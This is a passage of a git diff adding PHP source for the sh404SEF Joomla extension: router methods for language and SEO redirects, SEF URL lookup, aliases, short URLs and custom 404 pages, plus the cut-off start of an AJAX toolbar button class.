*/ + protected function getFullUrl($uri) + { + $clone = clone $uri; + $basePath = $clone->base(true); + if (!empty($basePath)) + { + $currentPath = $clone->getPath(); + $clone->setPath($basePath . '/' . $currentPath); + } + + $fullUrl = $clone->toString(); + return $fullUrl; + } + + /** + * Redirect user, on first visit, to its own language + * as detected in browser + * Happens only on home page, as otherwise we wouldn't know + * on which page to redirect him/her + * + * @param JURI $uri + */ + protected function _languageRedirect($uri, $currentLanguageCode) + { + if (!$this->_canRedirectFrom($uri)) + { + return; + } + + $pageInfo = Sh404sefFactory::getPageInfo(); + + // decide whether this is homepage request + $path = JString::trim(str_replace($pageInfo->getDefaultFrontLiveSite() . '/', '', $pageInfo->currentSefUrl), '/'); + $possibleUrls = array(); + foreach ($pageInfo->homeLinks as $language => $link) + { + $possibleUrls[] = Sh404sefHelperLanguage::getUrlCodeFromTag($language); + } + if (!empty($path) && !in_array($path, $possibleUrls)) + { + return; + } + + $cookieTag = JRequest::getString(JApplication::getHash('language'), null, 'cookie'); + + // no cookie - try autoredirect to user language + if (empty($cookieTag)) + { + if (Sh404sefHelperLanguage::getLanguageFilterPluginParam('detect_browser', 1)) + { + $userLanguage = JLanguageHelper::detectLanguage(); + if (!empty($userLanguage) && $userLanguage != $currentLanguageCode) + { + ShlSystem_Log::debug('sh404sef', 'User lang: ' . $userLanguage . ' langcode: ' . $currentLanguageCode); + // user has a specific language, let's redirect to the home page in that language + $target = JRoute::_($pageInfo->homeLinks[$userLanguage]); + shRedirect($target); + } + } + } + } + + /** + * + * Lookup a SEF url in the cache and database, searching + * for a non-sef associated url + * Returns a record holding query vars and a status code + * If no non-sef is found, incoming query vars are returned untouched + * If a non-sef is found, a query var array is built, merged with incoming vars + * and returned instead of the incoming one + * + * @param JURI object full request details + * @param array $vars key/value pairs of query vars, usually empty + * @param string $sefUrl the sef url to search for + */ + protected function _lookupSef($uri, $vars, $sefUrl) + { + // object to hold result + $result = new stdClass(); + + // identify Sh404sefClassBaseextplugin::TYPE_SIMPLE URLs, ie simple encoding, DB bypass + $isSimpleUrl = $this->_isSimpleEncodingSef($sefUrl); + if ($isSimpleUrl) + { + // handle manual decoding + $vars = $this->_parseSimpleUrls($sefUrl); + $urlType = sh404SEF_URLTYPE_AUTO; + } + + if (!$isSimpleUrl) + { + // get a model and check if we've seen this request before + $nonSefUrl = ''; + $urlType = ShlMvcModel_Base::getInstance('Sefurls', 'Sh404sefModel')->getNonSefUrlFromDatabase($sefUrl, $nonSefUrl); + + switch ($urlType) + { + // existing matching url + case sh404SEF_URLTYPE_AUTO: + case sh404SEF_URLTYPE_CUSTOM: + // our db lookup is case insensitive, which allows + // doing a 301 to the correct url case, avoiding duplicate content + $this->_checkRedirectToCorrectCase($uri, $sefUrl); + + // collect the query vars, using a JURI instance + $newUri = new JURI($nonSefUrl); + $vars = array_merge($vars, $newUri->getQuery(true)); + break; + + // 404 or some kind or error + default: + break; + } + } + + // store result + $result->vars = $vars; + $result->urlType = $urlType; + + return $result; + } + + /** + * Recognize if a given (usually incoming) url has been + * encoded as a simple-type encoding + * Such urls start with component/com_ or lang_code/component/com_ + * + * @param string $url + */ + protected function _isSimpleEncodingSef($url) + { + $isSimpleEncodingSef = $this->_getSimpleSefLanguageSefCode($url) !== false; + + return $isSimpleEncodingSef; + } + + /** + * Figure out whether an incoming url has been encoded as SEF + * using the 'simple' scheme, and at the same time + * identify if a language code was encoded + * Format is: xx/component/com_xxxx... or component/com_xxxx... + * + * Return true if simple scheme, a sef lang string if simple scheme and a language + * has been recognized or an empty string if default language and language filter + * plugin is set to remove lang code from URL on default langague or this is + * a monolingual site + * + * @param string $url + * @return string|boolean false if not simple-scheme SEF, empty string if default language or sef lang code otherwise + */ + protected function _getSimpleSefLanguageSefCode($url) + { + static $prefixes = null; + + $config = Sh404sefFactory::getConfig(); + $app = Jfactory::getApplication(); + + if (is_null($prefixes)) + { + $prefixes = array(); + // build up prefix list + $languages = JLanguageHelper::getLanguages('sef'); + $default = Sh404sefHelperLanguage::getDefaultLanguageSef(); + foreach ($languages as $sefCode => $language) + { + if ($sefCode == $default) + { + $prefixes[$sefCode] = $app->getLanguageFilter() && Sh404sefHelperLanguage::getInsertLangCodeInDefaultLanguage() + ? $sefCode . '/component/com_' : 'component/com_'; + } + else + { + $prefixes[$sefCode] = $sefCode . '/component/com_'; + } + } + } + + foreach ($prefixes as $sefCode => $prefix) + { + if ($prefix == JString::substr($url, 0, Jstring::strlen($prefix))) + { + if ($app->getLanguageFilter() && !Sh404sefHelperLanguage::getInsertLangCodeInDefaultLanguage() + && $sefCode == Sh404sefHelperLanguage::getDefaultLanguageSef()) + { + return ''; + } + else + { + // return no language code if not a multilingual site + return $app->getLanguageFilter() ? $sefCode : ''; + } + } + } + + return false; + } + /** + * + * Parse sef urls built using the TYPE_SIMPLE method + * ie: simply combining each argument, comma separated + * + * @param string $nonSefUrl starting with /component/com_xxxxx/... + */ + protected function _parseSimpleUrls($sefUrl) + { + $vars = array(); + + // create an array + $urlArray = explode('/', $sefUrl); + $urlArray = array_filter($urlArray); + $urlArray = array_values($urlArray); + + $sefLangCode = $this->_getSimpleSefLanguageSefCode($sefUrl); + if (!empty($sefLangCode)) + { + // remove language information + $vars['lang'] = $sefLangCode; + array_shift($urlArray); + } + + // remove 'component' + array_shift($urlArray); + + // start by extracting option, which is always first + $option = array_shift($urlArray); + + // sanitize + $vars['option'] = JFilterInput::getInstance()->clean($option, 'cmd'); + + // process remaining vars, if any + if (!empty($urlArray)) + { + foreach ($urlArray as $segment) + { + $tmp = explode(',', $segment, 2); + if (count($tmp) == 2) + { + $vars[$tmp[0]] = $tmp[1]; + } + } + } + + return $vars; + } + + /** + * + * Performs some checks, and possibly some redirects based + * on the current request domain + * + * Typically, ensure access through either www or non-www version of domain + * + * In the future, will also allow for language determination based on + * domain or sub domain + * + * @param JURI object $uri + */ + protected function _checkDomain($originalUri) + { + // break reference + $uri = clone $originalUri; + + // get configuration + $sefConfig = Sh404sefFactory::getConfig(); + $pageInfo = &Sh404sefFactory::getPageInfo(); + + // get request infos: + $rootUrl = $pageInfo->getDefaultFrontLiveSite(); + $host = $uri->getHost(); + $canRedirect = $this->_canRedirectFrom($uri) && !empty($host) && $host != 'localhost' && $host != 'web.local'; + $targetUrl = ''; + + // first check if there are some settings for per language domain, and apply them + // search for live site in our list of per language root url + foreach ($sefConfig->liveSites as $language => $langRootUrl) + { + if (!empty($langRootUrl) && $langRootUrl == $rootUrl) + { + + // TODO: switch to that language + + // stop + break; + } + } + + // if we have not already + if (empty($targetUrl) && $canRedirect && $sefConfig->shAutoRedirectWww != shSEFConfig::DONT_ENFORCE_WWW) + { + if (substr($host, 0, 4) != 'www.' && $sefConfig->shAutoRedirectWww == shSEFConfig::ENFORCE_WWW) + { + ShlSystem_Log::debug('sh404sef', 'Redirecting from non www to wwww'); + $uri->setHost('www.' . $host); + $targetUrl = $uri->toString(); + } + if (substr($host, 0, 4) == 'www.' && $sefConfig->shAutoRedirectWww == shSEFConfig::ENFORCE_NO_WWW) + { + ShlSystem_Log::debug('sh404sef', 'Redirecting from www to non wwww'); + $uri->setHost(str_replace('www.', '', $host)); + $targetUrl = $uri->toString(); + } + } + + // Redirect if needed + if (!empty($targetUrl)) + { + shRedirect($targetUrl); + } + } + + protected function _checkSeoRedirects($uri) + { + // facebook: it may happen that FB cause an URL that has been liked or otherise shared + // to be linked to and thus indexed with an added query parameter. This will cause + // duplicate content issue, so if it happens, we want to 301 redirect to the same URL + // without that parameter + $fb_xd_bust = isset($_GET['fb_xd_bust']); + $fb_xd_fragment = isset($_GET['fb_xd_fragment']); + if (!empty($fb_xd_bust) || !empty($fb_xd_fragment)) + { + + // sanity checks, like don't redirect if there is some POST data + if (!$this->_canRedirectFrom($uri)) + { + return; + } + + // need to redirect, let's kill the faulty params + $uri->delVar('fb_xd_bust'); + $uri->delVar('fb_xd_fragment'); + + // finally redirect + ShlSystem_Log::debug('sh404sef', 'Performing seo redirect to:' . $this->getFullUrl($uri)); + shRedirect($this->getFullUrl($uri)); + } + } + + protected function _checkRedirectToCorrectCase($uri, $path) + { + if (!$this->_canRedirectFrom($uri)) + { + return; + } + + // get config object + $sefConfig = Sh404sefFactory::getConfig(); + + if ($sefConfig->redirectToCorrectCaseUrl) + { + // if initial query exactly matches oldurl found in db, then case is correct + // else we redirect to the url found in db, but we also need to append query string to it ! + $originalPath = $uri->getPath(); + + // now the only difference between the two can be the case + if ($originalPath != $path) + { + // can only be different from case, change case in uri, and add rewrite mode prefix, if any + $uri->setPath($path); + $targetUrl = $uri->base() . ltrim($sefConfig->shRewriteStrings[$sefConfig->shRewriteMode], '/') + . $uri->toString(array('path', 'query', 'fragment')); + // perform redirect + ShlSystem_Log::debug('sh404sef', 'Redirecting to correct url case : from ' . $this->getFullUrl($uri) . ' to ' . $targetUrl); + shRedirect($targetUrl); + } + } + } + + /** + * + * Performs various seo redirect checks, in case where the request is + * for the home page. A home page request only means the request path is empty; + * such request may have query vars - ie site.com/index.php?option=com_content&id=12&view=article + * is still a home page request + * + * Include redirecting site.com/index.php to site.com and, in the future + * site.com/index.php?lang=xx to site.com/xx or the correct sef url for that language + * + * @param JURI object $uri + */ + protected function _checkHomepageRedirects($uri) + { + if (self::$requestParsed || !$this->_canRedirectFromNonSef($uri)) + { + return; + } + + // check if we already did all the redirections we can + $pageInfo = Sh404sefFactory::getPageInfo(); + + // basic data + $sefConfig = Sh404sefFactory::getConfig(); + $path = $uri->getPath(); + $url = $this->getFullUrl($uri); + $vars = $uri->getQuery(true); + + // 0 - check forced homepage, in case of index.html splash page (!!!) + if (!empty($sefConfig->shForcedHomePage) + && ($sefConfig->shForcedHomePage == $pageInfo->originalUri + || $sefConfig->shForcedHomePage . '?sh404sef_splash=1' == $pageInfo->originalUri)) + { + return; + } + + // 1 - check index.php on home page + $indexString = str_replace($pageInfo->getDefaultFrontLiveSite(), '', $pageInfo->currentSefUrl); + $indexString = explode('?', $indexString); + $indexString = JString::substr($indexString[0], -9); + // IIS sometimes adds index.php to uri, even if user did not request it. + $IIS = !empty($_SERVER['SERVER_SOFTWARE']) && strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS') !== false; + + if (sh404SEF_REDIRECT_IF_INDEX_PHP && !$IIS && (empty($path) || $path == 'index.php') && empty($vars) && $indexString == 'index.php') + { + // redirect to home page + $targetUrl = $pageInfo->getDefaultFrontLiveSite(); + ShlSystem_Log::debug('sh404sef', 'Redirecting home page request with index.php to home page: ' . $targetUrl); + shRedirect($targetUrl); + } + + // 2 - Home page, some query vars, but we don't have an option var, ie dunno what component to go to + // just drop the index.php + if (empty($path) && !empty($vars) && empty($vars['option']) && empty($vars['lang']) && $indexString == 'index.php') + { + $query = $uri->getQuery(); + $targetUrl = $uri->base() . (empty($query) ? '' : '?' . $query); + ShlSystem_Log::debug('sh404sef', 'Redirecting home page request with index.php and query vars to home page: ' . $targetUrl); + shRedirect($targetUrl); + } + + // 3 - request for home page with a language element + if (empty($path) && !empty($vars) && empty($vars['option']) && !empty($vars['lang']) && $indexString == 'index.php') + { + $query = $uri->getQuery(); + $targetUrl = $uri->base() . (empty($query) ? '' : '?' . $query); + ShlSystem_Log::debug('sh404sef', 'Redirecting home page request to non-default language home page: ' . $targetUrl); + shRedirect($targetUrl); + } + + // 4 - Still home page, ie empty path, but some query vars, lookup db to find it + if (empty($path) && !empty($vars) && !empty($vars['option'])) + { + // need an url model + $urlModel = ShlMvcModel_Base::getInstance('Sefurls', 'Sh404sefModel'); + // rebuild the non-sef url requested + $nonSefUrl = 'index.php' . $uri->toString(array('query')); + $sefUrl = ''; + // try to get it from our url store + $urlType = shGetSefURLFromCacheOrDB($nonSefUrl, $sefUrl); + if ($urlType == sh404SEF_URLTYPE_AUTO || $urlType == sh404SEF_URLTYPE_CUSTOM) + { + // found a match in database + $sefUrl = $uri->base() . ltrim($sefConfig->shRewriteStrings[$sefConfig->shRewriteMode], '/') . $sefUrl; + ShlSystem_Log::debug('sh404sef', 'redirecting non-sef to existing SEF : ' . $sefUrl); + shRedirect($sefUrl); + } + + // 5 - no success yet, we'll try SEF-y the non-sef url + if ($sefConfig->shRedirectNonSefToSef && !empty($nonSefUrl) + && (!shIsMultilingual() + || ((shIsMultilingual() !== false) + && Sh404sefHelperLanguage::getLangTagFromUrlCode(shDecideRequestLanguage()) == $pageInfo->currentLanguageTag))) + { + $sefUrl = JRoute::_($nonSefUrl, $xhtml = false); + $s = str_replace(JURI::base(true), '', $sefUrl); + if (!empty($s) && $s != '/') + { + $sefUrl = $uri->toString(array('scheme', 'host', 'port')) . $sefUrl; + if (!shIsHomepage($sefUrl) && strpos($sefUrl, 'option=com') === false && $sefUrl != $url) + { + ShlSystem_Log::debug('sh404sef', 'Homepage redirect to newly created SEF : ' . $sefUrl . ' from ' . $url); + shRedirect($sefUrl); + } + } + } + } + + } + + /** + * + * Redirects a non-sef request to its SEF equivalent + * if any can be found or built + * @param unknown_type $uri + */ + protected function _checkNonSefToSefRedirects($uri) + { + // don't redirect if this is simply J! trying to parse a URL + // or if this is an ajax call or similar + if (!$this->_canRedirectFromNonSef($uri)) + { + return; + } + + // check this is really a non-sef request + $path = $uri->getPath(); + if (!empty($path)) + { + // we only try to redirect fully non sef requests, too hard otherwise + return; + } + + // prevent homepage loops + $query = $uri->getQuery(); + if (empty($query)) + { + // empty path and empty query, this is just root url + return; + } + + // break linkage + $newUri = clone $uri; + + // collect languages information + $languages = JLanguageHelper::getLanguages('lang_code'); + + // make sure we have a language code + $langCode = $newUri->getVar('lang'); + if (empty($langCode)) + { + $currentLang = JFactory::getLanguage()->getTag(); + $newUri->setVar('lang', empty($languages[$currentLang]) || empty($languages[$currentLang]->sef) ? 'en' : $languages[$currentLang]->sef); + } + + //redirect + $this->_redirectNonSef($newUri); + } + + protected function _redirectNonSef($uri) + { + if (!$this->_canRedirectFromNonSef($uri)) + { + return; + } + + // search cache and db for a sef url + $nonSefUrl = Sh404sefHelperUrl::sortUrl('index.php?' . $uri->getQuery()); + $targetSefUrl = ''; + $urlType = ShlMvcModel_Base::getInstance('Sefurls', 'Sh404sefModel')->getSefURLFromCacheOrDB($nonSefUrl, $targetSefUrl); + + $pageInfo = Sh404sefFactory::getPageInfo(); + + // found a match : redirect + if ($urlType == sh404SEF_URLTYPE_AUTO || $urlType == sh404SEF_URLTYPE_CUSTOM) + { + $tmpUri = new JURI($uri->base() . $targetSefUrl); + $targetSefUrl = $tmpUri->toString(); + if ($targetSefUrl != $pageInfo->currentSefUrl) + { + ShlSystem_Log::debug('sh404sef', 'redirecting non-sef to existing SEF : ' . $targetSefUrl); + shRedirect($targetSefUrl); + } + } + + // haven't found a SEF in the cache or DB, maybe we can just create it on the fly ? + if (!empty($nonSefUrl) && (!shIsMultilingual() || shIsMultilingual() == 'joomla')) + { + // $currentLanguageTag is still deafult lang, as language has not been discovered yet + $GLOBALS['mosConfig_defaultLang'] = Sh404sefFactory::getPageInfo()->currentLanguageTag; + + // create new sef url + $targetSefUrl = JRoute::_($nonSefUrl, $xhtml = false); + $s = str_replace(JURI::base(true), '', $targetSefUrl); + if (!empty($s) && $s != '/' && $targetSefUrl != $pageInfo->currentSefUrl) + { + $targetSefUrl = $uri->toString(array('scheme', 'host', 'port')) . $targetSefUrl; + $sourceUrl = $this->getFullUrl($uri); + if (strpos($targetSefUrl, 'option=com') === false && $targetSefUrl != $sourceUrl) + { + ShlSystem_Log::debug('sh404sef', 'Redirecting non-sef to newly created SEF : ' . $targetSefUrl . ' from ' . $nonSefUrl); + shRedirect($targetSefUrl); + } + } + } + } + + /** + * Checks Joomla's redirections table for + * existing redirects + * + * @param JURI $uri + */ + protected function _checkJoomlaRedirects($uri) + { + if (self::$requestParsed) + { + return; + } + $fullUrl = Sh404sefFactory::getPageInfo()->currentSefUrl; + $redirectUrl = ShlDbHelper::selectObject('#__redirect_links', '*', array('old_url' => $fullUrl, 'published' => 1)); + if (!empty($redirectUrl->new_url)) + { + ShlSystem_Log::debug('sh404sef', + 'Redirecting 404 to SEF from Joomla! #__redirect_links table : ' . $redirectUrl->new_url . ' from ' . $fullUrl); + shRedirect($redirectUrl->new_url); + } + } + + protected function _checkJoomlaSefToSefRedirects($uri) + { + if (self::$requestParsed) + { + return; + } + } + + /** + * Detects if requests access an existing page using /index.php/ + * while url rewriting is activated, and redirect if so + * + * @param JURI $uri + */ + protected function _checkAccessThruIndexphp($uri) + { + if (self::$requestParsed || !empty(Sh404sefFactory::getConfig()->shRewriteMode)) + { + return; + } + + // is the url being accessed with index.php? + $pageInfo = Sh404sefFactory::getPageInfo(); + $originalUrl = Sh404sefHelperUrl::getOriginalUrlFromUri($uri); + $originalPathAndQuery = substr_replace($originalUrl, '', 0, strlen(JUri::base())); + if (strpos($originalPathAndQuery, 'index.php/') === 0) + { + if (!$this->_canRedirectFrom($uri)) + { + return; + } + $targetSefUrl = str_replace('/index.php/', '/', $pageInfo->currentSefUrl); + ShlSystem_Log::debug('sh404sef', 'Redirecting to same url without /index.php: ' . $targetSefUrl); + shRedirect($targetSefUrl); + } + } + + protected function _checkTrailingSlash($uri) + { + if (!$this->_canRedirectFrom($uri)) + { + return; + } + + // get config object + $sefConfig = Sh404sefFactory::getConfig(); + + // get the url path and try add or remove a trailing slash + $path = $uri->getPath(); + + // if path ends with current suffix, stop here + if (JString::substr($path, -JString::strlen($sefConfig->suffix)) == $sefConfig->suffix) + { + return; + } + + // same with optional index file + if (JString::substr($path, -JString::strlen($sefConfig->addFile)) == $sefConfig->addFile) + { + return; + } + + // now add or remove trailing slash. Must check existence of trailing slash + // on the $uri->_uri, as J! always remove it from $uri->_path + $trailingSlash = $this->_hasTrailingSlash($uri); + if ($trailingSlash) + { + $path = JString::rtrim($path, '/'); + } + else + { + $path .= '/'; + } + + // and check db again + $vars = array(); // dummy, we don't care about the actual vars retrieved + $lookUp = $this->_lookupSef($uri, $vars, $path); + + // if url exists with slash added or removed, 301 to that valid url + if ($lookUp->urlType == sh404SEF_URLTYPE_AUTO || $lookUp->urlType == sh404SEF_URLTYPE_CUSTOM) + { + $query = $uri->getQuery(); + $targetSefUrl = $uri->base() . $path . (empty($query) ? '' : '?' . $query); + ShlSystem_Log::debug('sh404sef', 'Redirecting to same with trailing slash added: ' . $targetSefUrl); + shRedirect($targetSefUrl); + } + + } + + protected function _checkAliases($uri) + { + if (self::$requestParsed) + { + return; + } + + // our configuration object + $sefConfig = Sh404sefFactory::getConfig(); + $pageInfo = Sh404sefFactory::getPageInfo(); + + // separate path and full request + $path = $uri->getPath(); + $requestPath = str_replace(JURI::root() . ltrim($sefConfig->shRewriteStrings[$sefConfig->shRewriteMode], '/'), '', $pageInfo->originalUri); + $queryString = $uri->getQuery(); + + // build sql query, we may check both path and full query + $sql = 'select ??,?? from ?? where ?? = ?'; + $nameQuoted = array('alias', 'newurl', '#__sh404sef_aliases', 'alias'); + $quoted = array($requestPath); + + // path different from full url requested, means there is a query string + if (!empty($path) && $path != $requestPath) + { + $sql .= ' or ?? = ?'; + $nameQuoted[] = 'alias'; + $quoted[] = $path; + if (JString::substr($path, -1) != '/') + { + // getPath will trim trailing / so we must try also with it + $sql .= ' or ?? = ?'; + $nameQuoted[] = 'alias'; + $quoted[] = $path . '/'; + } + } + + // finally order by alias desc, just have to choose one ordering + $sql .= ' order by ?? desc'; + $nameQuoted[] = 'alias'; + + try + { + $dest = ShlDbHelper::quoteQuery($sql, $nameQuoted, $quoted)->loadObject(); + + // append query string if some params were added to the alias + if (!empty($dest) && !empty($dest->newurl) && !empty($queryString) && $dest->alias != $requestPath) + { + $dest->newurl .= JString::strpos($dest->newurl, '?') !== false ? '&' . $queryString : '?' . $queryString; + } + + // do the redirect, after checking a few conditions + if (!empty($dest)) + { + shCheckRedirect($dest->newurl, $pageInfo->originalUri); + } + + } + catch (Sh404sefException $e) + { + // if error, just log + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, + ' Database error reading aliases: ' . $e->getMessage()); + } + } + + protected function _checkShurls($uri) + { + if (self::$requestParsed) + { + return; + } + + // sanitize + $path = $uri->getPath(); + if (empty($path)) + { + // no path in request, no possible short url + return; + } + + // our configuration object + $sefConfig = Sh404sefFactory::getConfig(); + + // check short url based on request path + if ($sefConfig->enablePageId) + { + try + { + $dest = ShlDbHelper::selectResult('#__sh404sef_pageids', array('newurl'), array('pageid' => $path)); + + // check on $dest: if empty, prevent loop, plus stitch back query string, if any + if (!empty($dest)) + { + $queryString = $uri->getQuery(); + if (!empty($queryString)) + { + $dest .= JString::strpos($dest, '?') !== false ? '&' . $queryString : '?' . $queryString; + } + shCheckRedirect($dest, $this->getFullUrl($uri)); + } + } + catch (Sh404sefException $e) + { + // if error, just log + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, + ' Database error reading shurl: ' . $e->getMessage()); + } + } + + } + + protected function _do404(&$uri) + { + if (self::$requestParsed) + { + return array(); + } + + // get config objects + $pageInfo = &Sh404sefFactory::getPageInfo(); + $sefConfig = Sh404sefFactory::getConfig(); + + // store the status + $pageInfo->httpStatus = 404; + + // request path + $reqPath = $uri->getPath(); + $reqUrl = $this->getFullUrl($uri); + + // optionnally log the 404 details + $storer = Sh404sefModelNotfoundstore::getInstance(); + $storer->store($reqPath, $sefConfig); + + // display the error page + $vars['option'] = 'com_content'; + $vars['view'] = 'article'; + + // use provided Itemid + if (empty($sefConfig->shPageNotFoundItemid)) + { + $shHomePage = JFactory::getApplication()->getMenu()->getDefault(); + $vars['Itemid'] = (empty($shHomePage)) ? null : $shHomePage->id; + } + else + { + $vars['Itemid'] = $sefConfig->shPageNotFoundItemid; + } + + // user picked our default 404 error page, read its id from DB + if ($sefConfig->page404 == '0') + { + try + { + $requestedlanguageTag = JFactory::getLanguage()->getTag(); + $languageTag = JRequest::getString(JApplication::getHash('language'), null, 'cookie'); + if (!empty($languageTag)) + { + $vars['lang'] = $languageTag; + } + $ids = ShlDbHelper::quoteQuery('select ?? from ?? where ?? = ? and ?? = ? and ?? = ? and ?? in ( ?, ?) order by ?? desc', + array('id', '#__content', 'title', 'catid', 'state', 'language', 'language'), + array('__404__', Sh404sefHelperCategories::getSh404sefContentCat()->id, 1, $languageTag, '*'))->loadColumn(); + $id = empty($ids[0]) ? null : $ids[0]; + } + catch (Exception $e) + { + ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, ' Database error: ' . $e->getMessage()); + } + if (empty($id)) + { + JError::raiseError(404, JText::_('Component Not Found') . ' (' . $pageInfo->getDefaultFrontLiveSite() . '/' . $uri->getPath() . ')'); + } + } + else + { + $id = $sefConfig->page404; + } + $vars['id'] = $id; + $vars['lang'] = empty($vars['lang']) ? null : Sh404sefHelperLanguage::getUrlCodeFromTag($vars['lang']); + $uri = new JURI( + $pageInfo->getDefaultFrontLiveSite() . '/index.php?' . 'option=com_content&view=article&id=' . $id + . (empty($vars['Itemid']) ? '' : '&Itemid=' . $vars['Itemid']) . (empty($vars['lang']) ? '' : ('&lang=' . $vars['lang']))); + + $tmpl = str_replace('.php', '', $sefConfig->error404SubTemplate); + if (!empty($tmpl)) + { + $vars['tmpl'] = $tmpl; + } + + // and prepare the item for display + $menus = JFactory::getApplication()->getMenu(); + $menuItem = $menus->getItem($vars['Itemid']); + if (!empty($menuItem)) + { + $menus->setActive($vars['Itemid']); + } + else + { + $menuItem = $menus->getDefault(); + } + + if (!empty($menuItem->params)) + { + $disableParams = array('show_title', 'show_category', 'show_author', 'show_create_date', 'show_modify_date', 'show_publish_date', + 'show_vote', 'show_readmore', 'show_icons', 'show_hits', 'show_feed_link', 'show_page_heading'); + foreach ($disableParams as $p) + { + $menuItem->params->set($p, 0); + } + + //set a custom page title + $menuItem->params->set('page_title', htmlspecialchars($this->getFullUrl($uri))); + } + + // set the menu query array, J! will use that for breadcrumb + $menuItem->query = $vars; + + // throw 404 http return code, and prepare for page display + if (!headers_sent()) + { + JResponse::setHeader('status', '404 NOT FOUND'); + // custom error page, faster than loading Joomla 404 page. Not recommended though, why not show + // your site ? + if (is_readable(sh404SEF_FRONT_ABS_PATH . '404-Not-Found.tpl.html')) + { + $errorPage = file_get_contents(sh404SEF_FRONT_ABS_PATH . '404-Not-Found.tpl.html'); + if ($errorPage !== false) + { + $errorPage = str_replace('%sh404SEF_404_URL%', ' (' . $reqUrl . ')', $errorPage); + $errorPage = str_replace('%sh404SEF_404_SITE_URL%', $pageInfo->getDefaultFrontLiveSitegetDefaultFrontLiveSite(), $errorPage); + $errorPage = str_replace('%sh404SEF_404_SITE_NAME%', JFactory::getApplication()->getCfg('sitename'), $errorPage); + echo $errorPage; + die(); + } + } + } + else + { + ShlSystem_Log::error('sh404sef', 'Headers already sent before getting control on 404 page - message displayed'); + JError::RaiseError(500, + "
    SH404SEF : headers were already sent when I got control!
    This is not necessarily a sh404sef error. It may have been caused by any of your extensions or even Joomla itself. If there is no error message above this one, providing more details, then you may look inside the error log file of your web server for an indication of what may be breaking things up.
    URL=" + . htmlspecialchars($reqUrl) . '
    '); + } + + // workaround: disable caching. Joomla! would otherwise just fetch cached version of the page with wrong language and wrong content + $jConfig = JFactory::getConfig(); + $jConfig->set('caching', 0); + + return $vars; + } + + /** + * + * Checks if the path of a request has a trailing slash + * + * @param JURI object $uri + * @return boolean true if has trailing slash + */ + protected function _hasTrailingSlash() + { + $url = Sh404sefFactory::getPageInfo()->currentSefUrl; + $rawPath = explode('?', $url); + $rawPath = $rawPath[0]; // query string removed, if any + $rawPath = explode('#', $rawPath); + $rawPath = $rawPath[0]; // fragment removed, if any + $trailingSlash = JString::substr($rawPath, -1) == '/'; + + return $trailingSlash; + } + + /** + * + * Check a number of conditions, both global and + * relative to a provided source page uri + * to decide whether a redirect to another page + * can take place + * Will also check configuration settings + * + * @param object $uri + */ + protected function _canRedirectFromNonSef($uri, $method = '') + { + // if not parsing the initial request, no way we can redirect + if (self::$requestParsed) + { + return false; + } + + $pageInfo = Sh404sefFactory::getPageInfo(); + + // what's the requested url? + $url = $pageInfo->currentSefUrl; + $request = str_replace($pageInfo->getDefaultFrontLiveSite(), '', $url); + + if ($request != '/index.php' && strpos($url, 'index.php?') === false) + { + return false; + } + + if ($request != '/index.php' && strpos($url, 'sh404sef_splash=1') !== false) + { + return false; + } + + // use framework if no method passed + if (empty($method)) + { + $method = JRequest::getMethod(); + } + + // get config + $sefConfig = Sh404sefFactory::getConfig(); + + // get/set data + $vars = $uri->getQuery(true); + $canRedirect = true; + + // first condition: component should not be set to "skip" + if (!empty($vars['option'])) + { + $shOption = str_replace('com_', '', $vars['option']); + if (!empty($shOption) && in_array($shOption, $sefConfig->skip)) + { + $canRedirect = false; + } + } + + $canRedirect = $canRedirect && $sefConfig->shRedirectNonSefToSef && $this->_canRedirectFrom($uri, $method); + + return $canRedirect; + } + + /** + * Check various conditions on a request to + * decide whether it is safe to allow a redirection + * to another page + * Does NOT check configuration settings, only look + * at the passed uri and method parameters + * + * @param JURI object $uri object describing the current request, from which we want to redirect + * @param string $method current request method + */ + protected function _canRedirectFrom($uri, $method = '') + { + // use framework if no method passed + if (empty($method)) + { + $method = JRequest::getMethod(); + } + + // get the requested url + $url = $this->getFullUrl($uri); + + // start with hope + $canRedirect = !self::$requestParsed; + $canRedirect = $canRedirect && !empty($url); + $canRedirect = $canRedirect && strpos($url, 'index2.php') === false; + $canRedirect = $canRedirect && strpos($url, 'tmpl=component') === false; + $canRedirect = $canRedirect && strpos($url, 'no_html=1') === false; + $canRedirect = $canRedirect && strpos($url, 'sh404sef_splash=1') === false; + $canRedirect = $canRedirect + && (empty($_SERVER['HTTP_X_REQUESTED_WITH']) + || (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) != 'xmlhttprequest')); + $canRedirect = $canRedirect && empty($_POST); + $canRedirect = $canRedirect && $method != 'POST'; + + return $canRedirect; + } +} + +if (version_compare(JVERSION, '3.2', 'ge')) +{ + class Sh404sefClassRouter extends Sh404sefClassRouterInternal + { + protected function _parseSefRoute(&$uri) + { + return $this->_parseSefRouteInternal($uri); + } + protected function _buildSefRoute(&$uri) + { + $this->_buildSefRouteInternal($uri); + } + } +} +else if (version_compare(JVERSION, '3.0', 'ge')) +{ + class Sh404sefClassRouter extends Sh404sefClassRouterInternal + { + protected function _parseSefRoute($uri) + { + return $this->_parseSefRouteInternal($uri); + } + protected function _buildSefRoute($uri) + { + $this->_buildSefRouteInternal($uri); + } + } +} +else +{ + class Sh404sefClassRouter extends Sh404sefClassRouterInternal + { + protected function _parseSefRoute(&$uri) + { + return $this->_parseSefRouteInternal($uri); + } + protected function _buildSefRoute(&$uri) + { + $this->_buildSefRouteInternal($uri); + } + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/classes/shajaxbutton.php b/deployed/sh404sef/administrator/components/com_sh404sef/classes/shajaxbutton.php new file mode 100644 index 00000000..4e24fceb --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/classes/shajaxbutton.php @@ -0,0 +1,127 @@ +\n"; + $html .= $action; + $html .= "\n"; + + return $html; + } + + public function fetchButton( $type='Popup', $name = '', $text = '', $url = '', $userOptions = array() ) + { + // not needed, we normally have our own already called + //JHTML::_('behavior.modal'); + + // merge with default options + $defaultOptions = array(); + $options = array_merge( $defaultOptions, $userOptions); + + $text = JText::_($text); + $class = $this->fetchIconClass($name); + $doTask = $this->_getCommand($name, $url, $userOptions); + + $buttonClass = empty($options['class']) ? '' : 'class="' . $options['class'] . '"'; + $id = empty($options['id']) ? '' : 'id="' . 